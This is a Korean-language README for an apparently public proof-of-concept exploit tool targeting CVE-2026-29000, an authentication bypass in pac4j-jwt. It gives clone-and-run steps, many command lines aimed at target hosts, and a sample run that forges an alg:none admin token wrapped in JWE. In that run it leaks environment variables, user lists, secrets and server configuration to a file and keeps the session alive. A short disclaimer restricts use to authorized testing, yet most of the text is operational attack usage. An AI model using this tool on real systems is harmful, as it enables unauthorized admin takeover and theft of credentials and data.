
CVE-2026-29000 – pac4j-jwt 인증 우회 (CVSS 10.0). 공개 키 JWE 래핑을 통한 원클릭 관리자 위조. 구성, 사용자, 시크릿 유출. Keep-alive, 프록시, 사용자 지정 JWKS. 교육용 PoC 익스플로잇 도구.
CVE-2026-29000 - JWT alg:none + JWE 암호화를 통한 원클릭 관리자 권한 획득
이 익스플로잇은 pac4j-jwt 라이브러리의 치명적인 CVSS 10.0 취약점인 CVE-2026-29000을 무기화합니다. 서버의 공개 JWKS 키를 추출하고 alg: none을 사용하여 암호화된 JWE 토큰을 위조함으로써 완전한 인증 우회를 달성하고 단 한 번의 클릭으로 전체 관리자 권한을 부여합니다.
alg:none JWT를 생성하고 서버 자체의 공개 키로 래핑| 라이브러리 | 영향받는 버전 | 패치된 버전 |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] 면책 조항: 이 도구는 승인된 보안 테스트 및 레드팀 참여 전용입니다.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
기본 원샷 익스플로잇
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
인수 단축 필수 기본값 설명 --target -t 예 - 대상 URL (예: https://example.com:8443) --jwks -k 아니요 자동 감지 사용자 지정 JWKS 엔드포인트 경로 --output -o 아니요 없음 위조된 JWE 토큰을 파일에 저장 --leak -l 아니요 leaked_TIMESTAMP.txt 유출된 데이터를 파일에 저장 --verbose -v 아니요 False 디버그 출력 활성화 --proxy -p 아니요 없음 HTTP/HTTPS 프록시 --user-agent -ua 아니요 Mozilla/5.0... 사용자 지정 User-Agent --no-keep-alive - 아니요 False 세션 keep-alive 비활성화 --delay - 아니요 5.0 Keep-alive 핑 간격 (초) --max-retries - 아니요 3 실패한 요청당 최대 재시도 횟수 --ssl-verify - 아니요 False SSL 인증서 확인
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] STAGE 1: JWKS에서 RSA 공개 키 획득 중 [11:23:15] JWKS 엔드포인트 탐색 중... [11:23:16] /realms/master/protocol/openid-connect/certs에서 JWKS 발견 [11:23:16] RSA 공개 키 추출 성공
[11:23:16] STAGE 2: alg:none을 사용한 JWT 생성 및 JWE로 암호화 [11:23:16] 위조된 JWE 토큰 (잘림): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ 토큰이 backdoor.jwe에 저장됨
[11:23:16] STAGE 3: 위조된 JWE를 Bearer 토큰으로 전송 [11:23:17] ✓ 인증 성공! /api/users/me에 대한 접근 권한 획득
[11:23:17] STAGE 4: 접근 가능한 엔드포인트 열거 및 민감한 데이터 노출 [11:23:18] ✓ 유출됨: /actuator/env (상태 200) [11:23:18] ✓ 유출됨: /api/users (상태 200) [11:23:18] ✓ 유출됨: /api/secrets (상태 200) [11:23:18] ✓ 유출됨: /config/server (상태 200) [11:23:18] ✓ 민감한 엔드포인트 4개 캡처됨 → leak.txt에 저장됨
[11:23:18] 연결 유지 세션 활성화됨 (중지하려면 Ctrl+C) [11:23:18] 토큰(JWE)은 약 1시간 동안 유효 – 만료 시 재생성 필요
다른 익스플로잇 저장소도 확인해 보세요: